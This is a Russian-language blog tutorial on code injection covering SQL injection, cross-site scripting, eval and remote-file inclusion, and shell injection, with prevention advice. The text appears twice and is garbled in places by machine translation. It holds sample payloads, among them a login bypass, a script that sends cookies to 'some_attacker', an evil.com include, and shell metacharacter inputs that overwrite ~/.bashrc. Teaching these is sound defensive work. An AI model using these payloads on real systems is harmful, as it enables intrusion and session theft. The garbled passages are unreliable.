Включение кода |
Автор: admin Просмотров: 1886 Комментарии:
Добавлен: 11 декабря 2016
Включение кода - это использование программных ошибок для обработки неверных данных. Включение кода может быть использовано злоумышленником для ввода (включения) кода в компьютерную программу, чтобы изменить ход ее выполнения. Например, включение кода используется для распространения компьютерных червей .
Включение кода происходит тогда, когда программа посылает непроверенные данные интерпретатору. Недостатки включения кода очень распространены в унаследованном коде. Они часто встречаются в SQL, LDAP, Xpath, или NoSQL запросам; командах операционной системы; синтаксических анализаторах XML, заголовках STMP, аргументах программы. Включение кода легко обнаружить при просмотре кода, однако его очень трудно обнаружить тестированием. Сканеры и Фузер помогают злоумышленникам обнаруживать уязвимости включения кода.
Включение кода может привести к повреждению или потере данных, отсутствия отчетности или отказа в доступе. Иногда включение кода может привести даже к изменению хоста.
Некоторые типы включения кода приводят к ошибкам интерпретации, предоставляя специальное значение простому ввода пользователя. Это чем-то похоже на неспособность различать имена и обычные слова. По тому же принципу в некоторых видах вставленного кода трудно различить ввод пользователя и системные команды.
Техника включения кода является распространенной при и взломе с целью получения информации, получении привилегированного или анонимного доступа к системе. Включение кода можно использовать в злонамеренных целях, в частности:
Произвольно изменять содержимое базы данных через так называемые SQL инъекции. Следствием может быть как нарушение работы сайта так и компрометации конфиденциальных данных.
Установки вредоносных программ или выполнения вредоносного кода на сервере через включение скрипт кода сервера (например PHP или ASP).
Доступ к корневой папки используя уязвимости включения Shell.
Атаки интернет-пользователей посредством включения HTML / Script (межсайтовый скриптинг).
Ввести новую полезную колонку на странице поиска, которой нет в стандартном дизайне.
Предоставить возможность сортировать, организовывать, или группировать данные, используя поля, которые отсутствуют в стандартных функциях.
Для программ как Dropbox , добавлять специальные модули, которые можно использовать для подключения к онлайн ресурсов с офлайновой программы.
Пользователи могут и не знать, что они делают включения кода, потому что их ввод не был учтен разработчиками системы. К примеру:
Корректные входные данные (по мнению пользователя) могут содержать Марковна символы или слова, которые были зарезервированы программистом для определенных значений (это может быть символ "&" в названии компании или символ кавычек).
Пользователь может передать файл неверного формата как входные данные. И хотя этот файл работает корректно, он заразит системе, которая получает файл.
Предотвращение включения кода
Чтобы предотвратить проблему включения кода, используйте обработку безопасного ввода / вывода, к которому относятся:
Использование API, которое позволит безопасно обработать все входящие символы (при правильном использовании). Параметризованные запросы позволяют интерпретировать перемещены с ленты данные.
Обеспечение языкового разделения используя систему типизации. [4]
Проверка входных данных, принимая только определенный список валидных данных.
Использование входного кодування.Наприклад в PHP, использование функции htmlspecialchars() (преобразует теги HTML в их эквивалент в стандарте ISO-8859-1) или функция strip_tags() (удаляет теги HTML) для безопасного вывода текста в HTML, и mysql_real_escape_string()чтобы изолировать данные, которые будут включены в SQL запрос, для защиты от SQL инъекций.
Использование выходного кодирования, например защиту от межсайтового скриптинга.
Модульная оболочка диссоциации от ядра
Все советы выше касаются в основном включения кода при работе с веб-аппликациями. Однако для работы с включением кода на компьютере пользователя используется несколько иной подход.
Некоторые подходы используемые для выявления и изоляции включения управляемого и неуправляемого кода:
Хэш-валидация изображения при выполнении - захватить хэш всего изображения или его части во время выполнения загрузки и сравнивать его с сохраненным и ожидаемым хэшем
NX бит - все данные пользователя хранятся в специальном участке памяти, имеет метку, что эти данные нельзя интерпретировать как исходный код. Процессор известность, что в этой области памяти не исполняемого кода, поэтому откажется работать с этими за ними как с исходным кодом.
SQL инъекция использует преимущества синтаксиса SQL для включения команд, которые могут читать или изменять базу данных или изменить значение оригинального запроса.
Например, рассмотрим веб-стоинку, что два поля для ввода имени пользователя и пароля. На самом деле код страницы сгенерирует SQL запрос, чтобы проверить существует такой пользователь и должен ли пароль он ввел:
SELECT UserList . Username
FROM UserList
WHERE UserList . Username = 'Username'
AND UserList . Password = 'Password'
Если запрос возвращает строки, вот доступ предоставляется. Однако, если злоумышленник введет валидных имя пользователя и валидный код ( "password' OR '1'='1") в поле "Password", тогда запрос будет иметь вид:
SELECT UserList . Username
FROM UserList
WHERE UserList . Username = 'Username'
AND UserList . Password = 'password' OR '1' = '1'
В этом примере, предполагается, то поле "Password" является пустым или содержит безвредный строку символов. Выражение '1'='1'всегда будет истинным, поэтому многие строк вернутся, тем самым предоставляя доступ.
Эта техника может быть усовершенствована, позволяя например записывать несколько выражений или даже загружать и запускать внешние программы.
Замечательный сайт!
Однако, злоумышленники могут использовать уязвимость гостевой книги и воспользовавшись включением кода оставить следующее сообщение
Nice site, I think I'll take it. < Script > document . location = "https: //some_attacker/cookie.cgi?" + Document . cookie script >
Если другой пользователь будет пересматривать ту же страницу, включен код выполнится. Код сверху позволяет злоумышленнику выдавать себя за другого пользователя. Правда, эта же программная уязвимость может быть вызвана и совершенно невиновным пользователем, который ввел следующее сообщение:
Предыдущий комментарий> :)
Включение HTML, или как его еще часто называют межсайтовый скриптинг скриптов довольно популярной темой. Он принадлежит к ошибкам включения, когда ввод пользователя попадает в выходной HTML код, без проверки или это код или скрипт.
Многие из этих проблем связаны с ошибочным предположением данные считать допистимимы, или является следствием специальных данных.
Стивен М.Кристи с Mitre Corporation предложил это имя для группы уязвимостей включения кода.
Уязвимость включения кода при использовании функции eval проявляется тогда, когда злоумышленник полностью или частично может контролировать аргументы, которые передаются в вызов функции eval(). [6]
$ myvar = 'somevalue' ;
$ x = $ _GET [ 'arg' ];
eval ( '$ myvar =' . $ x . '; )
Аргумент функции " eval" обрабатываться как в PHP . Например, если "arg" присвоить " 10; system('/bin/echo uh-oh')", запустится выполнения дополнительных программ на сервере, в данном случае " /bin/echo".
php
$ color = "blue" ;
if ( isset ( $ _GET [ 'COLOR' ] ) )
$ color = $ _GET [ 'COLOR' ];
require ( $ color . '.php' );
?>
Этот код может обрабатывать файлы типа blue.php и red.php. Но злоумышленники могут задать COLOR = https://evil.com/exploit заставив PHP загрузить внешний файл.
Рассмотрим такую PHP программу, которая запускает внешнюю программу funnytextчтобы заменить слово направлено пользователем на другое слово.
php
passthru ( "/ bin / funnytext" . $ _GET [ 'USER_INPUT' ]);
?>
Эта программа может быть включена различными способами, используя синтаксис различных функций оболочки (это не полный перечень возможных вариантов): [8]
Shell feature USER_INPUT value Resulting shell command Explanation
последовательное выполнение ; шкідлива_команда /bin/funnytext ; шкідлива_команда Выполняется funnytext, тогда выполняется malicious_command.
конвейер | вредная_команда /bin/funnytext | вредная_команда Посылает вывод funnytextкак входные данные для malicious_command.
замена команды `вредная_команда` /bin/funnytext `вредная_команда` Посылает вывод malicious_commandв качестве аргументов для funnytext.
замена команды $(вредная_команда) /bin/funnytext $(вредная_команда) Посылает вывод malicious_commandв качестве аргументов для funnytext.
логическое выражение && вредная_команда /bin/funnytext && вредная_команда Выполняется malicious_command iff funnytext возвращает состояние завершения 0 (успешно).
логическое выражение || вредная_команда /bin/funnytext || вредная_команда Выполняется malicious_command iff funnytext возвращает ненулевой состояние завершения (ошибка).
перенаправление вывода > ~/.bashrc /bin/funnytext > ~/.bashrc Переписывает в файл .bashrcвывод funnytext.
перенаправления ввода < ~/.bashrc /bin/funnytext < ~/.bashrc Направляет содержимое файла .bashrcкак входные данные для funnytext.
Некоторые языки программирования имеют функции для правильного завершения или оценки лент, которые используются для построения команд оболочки:
PHP: escapeshellarg()и escapeshellcmd()
Python :shlex.quote()
Однако, это не снимает с программиста ответственности за знание и использование этих функций. Кроме использования этих функций также рекомендуется валидация и зачистка ввода пользователя.
Безопасной альтернативой является использование API которые выполняют внешние программы напрямую, а не через оболочку, исключая тем самым включение в нее. Однако, API не поддерживают многих удобных функций оболочек, и их синтаксис громоздкий по сравнению с лаконичным синтаксисом оболочки.
------------------------
ТРИО теплый пол отзыв
Заработок на сокращении ссылок
Earnings on reducing links
Код PHP на HTML сайты
Я уже пять лет не занимаюсь сайтом, так как работаю по 12 часов. Образование у меня среднее, и по этому нет нормальной работы. Если бы сайт приносил по 100$ в месяц, я бы добавлял по 50 статей каждый месяц. Если отправите пожертвования, я оставлю Ваши имена и фамилии в списке благодетелей !
Bitcoin: 1AP3JCZVFpHzZwcAyNztbrbFFiLdnKbY1j
Litecoin LfHXHz4k6LnDNNvCodd5pj9aW4Qk67KoUD
Dogecoin D9HHvKNFZxRhjtoh6uZYjMjgcZewwiUME9
Есть также другие кошельки.
Включение кода происходит тогда, когда программа посылает непроверенные данные интерпретатору. Недостатки включения кода очень распространены в унаследованном коде. Они часто встречаются в SQL, LDAP, Xpath, или NoSQL запросам; командах операционной системы; синтаксических анализаторах XML, заголовках STMP, аргументах программы. Включение кода легко обнаружить при просмотре кода, однако его очень трудно обнаружить тестированием. Сканеры и Фузер помогают злоумышленникам обнаруживать уязвимости включения кода.
Включение кода может привести к повреждению или потере данных, отсутствия отчетности или отказа в доступе. Иногда включение кода может привести даже к изменению хоста.
Некоторые типы включения кода приводят к ошибкам интерпретации, предоставляя специальное значение простому ввода пользователя. Это чем-то похоже на неспособность различать имена и обычные слова. По тому же принципу в некоторых видах вставленного кода трудно различить ввод пользователя и системные команды.
Техника включения кода является распространенной при и взломе с целью получения информации, получении привилегированного или анонимного доступа к системе. Включение кода можно использовать в злонамеренных целях, в частности:
Произвольно изменять содержимое базы данных через так называемые SQL инъекции. Следствием может быть как нарушение работы сайта так и компрометации конфиденциальных данных.
Установки вредоносных программ или выполнения вредоносного кода на сервере через включение скрипт кода сервера (например PHP или ASP).
Доступ к корневой папки используя уязвимости включения Shell.
Атаки интернет-пользователей посредством включения HTML / Script (межсайтовый скриптинг).
Непреднамеренное использование включений кода
Иногда включения кода могут использовать с хорошей целью. Например, используя включения кода можно обмануть систему, и заставить ее вести себя определенным образом без злого умысла. Например, благодаря включению кода можно:Ввести новую полезную колонку на странице поиска, которой нет в стандартном дизайне.
Предоставить возможность сортировать, организовывать, или группировать данные, используя поля, которые отсутствуют в стандартных функциях.
Для программ как Dropbox , добавлять специальные модули, которые можно использовать для подключения к онлайн ресурсов с офлайновой программы.
Пользователи могут и не знать, что они делают включения кода, потому что их ввод не был учтен разработчиками системы. К примеру:
Корректные входные данные (по мнению пользователя) могут содержать Марковна символы или слова, которые были зарезервированы программистом для определенных значений (это может быть символ "&" в названии компании или символ кавычек).
Пользователь может передать файл неверного формата как входные данные. И хотя этот файл работает корректно, он заразит системе, которая получает файл.
Предотвращение включения кода
Чтобы предотвратить проблему включения кода, используйте обработку безопасного ввода / вывода, к которому относятся:
Использование API, которое позволит безопасно обработать все входящие символы (при правильном использовании). Параметризованные запросы позволяют интерпретировать перемещены с ленты данные.
Обеспечение языкового разделения используя систему типизации. [4]
Проверка входных данных, принимая только определенный список валидных данных.
Использование входного кодування.Наприклад в PHP, использование функции htmlspecialchars() (преобразует теги HTML в их эквивалент в стандарте ISO-8859-1) или функция strip_tags() (удаляет теги HTML) для безопасного вывода текста в HTML, и mysql_real_escape_string()чтобы изолировать данные, которые будут включены в SQL запрос, для защиты от SQL инъекций.
Использование выходного кодирования, например защиту от межсайтового скриптинга.
Модульная оболочка диссоциации от ядра
Все советы выше касаются в основном включения кода при работе с веб-аппликациями. Однако для работы с включением кода на компьютере пользователя используется несколько иной подход.
Некоторые подходы используемые для выявления и изоляции включения управляемого и неуправляемого кода:
Хэш-валидация изображения при выполнении - захватить хэш всего изображения или его части во время выполнения загрузки и сравнивать его с сохраненным и ожидаемым хэшем
NX бит - все данные пользователя хранятся в специальном участке памяти, имеет метку, что эти данные нельзя интерпретировать как исходный код. Процессор известность, что в этой области памяти не исполняемого кода, поэтому откажется работать с этими за ними как с исходным кодом.
Примеры включения кода
SQL инъекцияSQL инъекция использует преимущества синтаксиса SQL для включения команд, которые могут читать или изменять базу данных или изменить значение оригинального запроса.
Например, рассмотрим веб-стоинку, что два поля для ввода имени пользователя и пароля. На самом деле код страницы сгенерирует SQL запрос, чтобы проверить существует такой пользователь и должен ли пароль он ввел:
SELECT UserList . Username
FROM UserList
WHERE UserList . Username = 'Username'
AND UserList . Password = 'Password'
Если запрос возвращает строки, вот доступ предоставляется. Однако, если злоумышленник введет валидных имя пользователя и валидный код ( "password' OR '1'='1") в поле "Password", тогда запрос будет иметь вид:
SELECT UserList . Username
FROM UserList
WHERE UserList . Username = 'Username'
AND UserList . Password = 'password' OR '1' = '1'
В этом примере, предполагается, то поле "Password" является пустым или содержит безвредный строку символов. Выражение '1'='1'всегда будет истинным, поэтому многие строк вернутся, тем самым предоставляя доступ.
Эта техника может быть усовершенствована, позволяя например записывать несколько выражений или даже загружать и запускать внешние программы.
Включение HTML скриптов
Веб-сервер имеет скрипт для гостевой книги, который принимает небольшие сообщения от пользователя, как правило получая такие сообщенияЗамечательный сайт!
Однако, злоумышленники могут использовать уязвимость гостевой книги и воспользовавшись включением кода оставить следующее сообщение
Nice site, I think I'll take it. < Script > document . location = "https: //some_attacker/cookie.cgi?" + Document . cookie script >
Если другой пользователь будет пересматривать ту же страницу, включен код выполнится. Код сверху позволяет злоумышленнику выдавать себя за другого пользователя. Правда, эта же программная уязвимость может быть вызвана и совершенно невиновным пользователем, который ввел следующее сообщение:
Предыдущий комментарий> :)
Включение HTML, или как его еще часто называют межсайтовый скриптинг скриптов довольно популярной темой. Он принадлежит к ошибкам включения, когда ввод пользователя попадает в выходной HTML код, без проверки или это код или скрипт.
Многие из этих проблем связаны с ошибочным предположением данные считать допистимимы, или является следствием специальных данных.
Уязвимости динамической оценки
Стивен М.Кристи с Mitre Corporation предложил это имя для группы уязвимостей включения кода.
Уязвимость включения кода при использовании функции eval проявляется тогда, когда злоумышленник полностью или частично может контролировать аргументы, которые передаются в вызов функции eval(). [6]
$ myvar = 'somevalue' ;
$ x = $ _GET [ 'arg' ];
eval ( '$ myvar =' . $ x . '; )
Аргумент функции " eval" обрабатываться как в PHP . Например, если "arg" присвоить " 10; system('/bin/echo uh-oh')", запустится выполнения дополнительных программ на сервере, в данном случае " /bin/echo".
Включение объектов
PHP позволяет сериализировать и десериализировать цели объекты. Если в функцию десереализации передать непроверенные данные, то таким образом можно переписать существующие классы и выполнить вредоносные действия.Удаленное включение в файл
Рассмотрим такую PHP программу (она содержит файл определенный запросу):php
$ color = "blue" ;
if ( isset ( $ _GET [ 'COLOR' ] ) )
$ color = $ _GET [ 'COLOR' ];
require ( $ color . '.php' );
?>
Этот код может обрабатывать файлы типа blue.php и red.php. Но злоумышленники могут задать COLOR = https://evil.com/exploit заставив PHP загрузить внешний файл.
Shell инъекции
Shell инъекции названы так благодаря командной оболочке Linux, но это касается всех операционных систем, которые позволяют запуск программ из командной строки. Типичные функции, связанные с shell инъекциями: system(), StartProcess(), и .System.Diagnostics.Process.Start()Рассмотрим такую PHP программу, которая запускает внешнюю программу funnytextчтобы заменить слово направлено пользователем на другое слово.
php
passthru ( "/ bin / funnytext" . $ _GET [ 'USER_INPUT' ]);
?>
Эта программа может быть включена различными способами, используя синтаксис различных функций оболочки (это не полный перечень возможных вариантов): [8]
Shell feature USER_INPUT value Resulting shell command Explanation
последовательное выполнение ; шкідлива_команда /bin/funnytext ; шкідлива_команда Выполняется funnytext, тогда выполняется malicious_command.
конвейер | вредная_команда /bin/funnytext | вредная_команда Посылает вывод funnytextкак входные данные для malicious_command.
замена команды `вредная_команда` /bin/funnytext `вредная_команда` Посылает вывод malicious_commandв качестве аргументов для funnytext.
замена команды $(вредная_команда) /bin/funnytext $(вредная_команда) Посылает вывод malicious_commandв качестве аргументов для funnytext.
логическое выражение && вредная_команда /bin/funnytext && вредная_команда Выполняется malicious_command iff funnytext возвращает состояние завершения 0 (успешно).
логическое выражение || вредная_команда /bin/funnytext || вредная_команда Выполняется malicious_command iff funnytext возвращает ненулевой состояние завершения (ошибка).
перенаправление вывода > ~/.bashrc /bin/funnytext > ~/.bashrc Переписывает в файл .bashrcвывод funnytext.
перенаправления ввода < ~/.bashrc /bin/funnytext < ~/.bashrc Направляет содержимое файла .bashrcкак входные данные для funnytext.
Некоторые языки программирования имеют функции для правильного завершения или оценки лент, которые используются для построения команд оболочки:
PHP: escapeshellarg()и escapeshellcmd()
Python :shlex.quote()
Однако, это не снимает с программиста ответственности за знание и использование этих функций. Кроме использования этих функций также рекомендуется валидация и зачистка ввода пользователя.
Безопасной альтернативой является использование API которые выполняют внешние программы напрямую, а не через оболочку, исключая тем самым включение в нее. Однако, API не поддерживают многих удобных функций оболочек, и их синтаксис громоздкий по сравнению с лаконичным синтаксисом оболочки.
------------------------
ТРИО теплый пол отзыв
Заработок на сокращении ссылок
Earnings on reducing links
Код PHP на HTML сайты
Я уже пять лет не занимаюсь сайтом, так как работаю по 12 часов. Образование у меня среднее, и по этому нет нормальной работы. Если бы сайт приносил по 100$ в месяц, я бы добавлял по 50 статей каждый месяц. Если отправите пожертвования, я оставлю Ваши имена и фамилии в списке благодетелей !
Bitcoin: 1AP3JCZVFpHzZwcAyNztbrbFFiLdnKbY1j
Litecoin LfHXHz4k6LnDNNvCodd5pj9aW4Qk67KoUD
Dogecoin D9HHvKNFZxRhjtoh6uZYjMjgcZewwiUME9
Есть также другие кошельки.
Категория: Разное
Комментарии |